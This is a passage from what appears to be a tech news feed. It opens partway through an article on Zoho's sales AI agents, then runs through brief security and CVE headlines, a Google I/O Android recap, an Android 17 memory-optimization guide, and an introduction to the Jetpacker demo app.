Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

Voice Search Optimization: Die Zukunft des SEO

Sat, 25 Jul 2026 18:55:33 +0200

Entdecken Sie, wie Voice Search Optimization Ihre SEO-Strategie revolutioniert. Praxistipps für besseres Ranking bei Sprachsuchen.

Rockwell Patches Code Execution Flaws in Arena Simulation Software

Sat, 25 Jul 2026 18:52:30 +0200

A researcher has explained how an attacker could exploit these vulnerabilities to target industrial organizations.

The post Rockwell Patches Code Execution Flaws in Arena Simulation Software appeared first on SecurityWeek.

CVE-2026-4819 | floragunn Search Guard FLX up to 4.0.1 log file

Sat, 25 Jul 2026 17:03:07 +0200

A vulnerability has been found in floragunn Search Guard FLX up to 4.0.1 and classified as problematic. The impacted element is an unknown function. This manipulation causes sensitive information in log files. This vulnerability is tracked as CVE-2026-4819. The attack is possible to be carried out remotely. No exploit exists.

CVE-2026-4818 | floragunn Search Guard FLX up to 4.0.1 improper authorization

Sat, 25 Jul 2026 17:03:06 +0200

A vulnerability marked as critical has been reported in floragunn Search Guard FLX up to 4.0.1. Affected by this issue is some unknown functionality. This manipulation causes improper authorization. This vulnerability is handled as CVE-2026-4818. The attack can be initiated remotely. There is not any exploit available.

17 Things to know for Android developers at Google I/O

Sat, 25 Jul 2026 10:15:45 +0200

Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements.

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote.

A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post.

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.

And The Latest on Driving Business Growth

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

Prioritizing Memory Efficiency: Essential Steps for Android 17

Sat, 25 Jul 2026 10:15:41 +0200

Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement.

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution.

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

Set isShrinkResources = true and isMinifyEnabled = true.
Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase
Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

Open the Profiler tab in Android Studio
Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.

Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

Retaining references to Fragments, Activities, or Views that are no longer in use.
Mismanaging Context references.
Failing to properly unregister observers, listeners, and receivers.
Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario	Compose-based example	View-based example
Leaking Context	Example: Passing LocalContext.current to a ViewModel Fix: Keep `Context` dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.	Example: Storing an `Activity` in a companion object or static variable. Fix: Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.
Leaking Listeners	Example: Using `DisposableEffect` to start a listener but leaving `onDispose` empty. Fix: Perform the unregistration and cleanup logic inside the `onDispose` block.	Example: Registering for SensorManager updates and forgetting to unregister. Fix: Manually call `unregisterListener()` in `onStop()` or `onDestroy()` lifecycle.
Leaking Views	Example: Holding a reference to a legacy `View` inside an `AndroidView` without a release strategy. Fix: Use the `release` block of the `AndroidView` composable to clean up the legacy `View`.	Example: Keeping a reference to a view binding object after the `Fragment` is destroyed. Fix: Set the binding variable to `null` inside the `onDestroyView`() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Build intelligent Android apps: Introduction to Jetpacker

Sat, 25 Jul 2026 10:15:26 +0200

Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations

Building GenAI features in your app usually means navigating through various models, APIs and architecture choices:

Execution location: Where does your model run? On device, in the cloud, or both?
Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

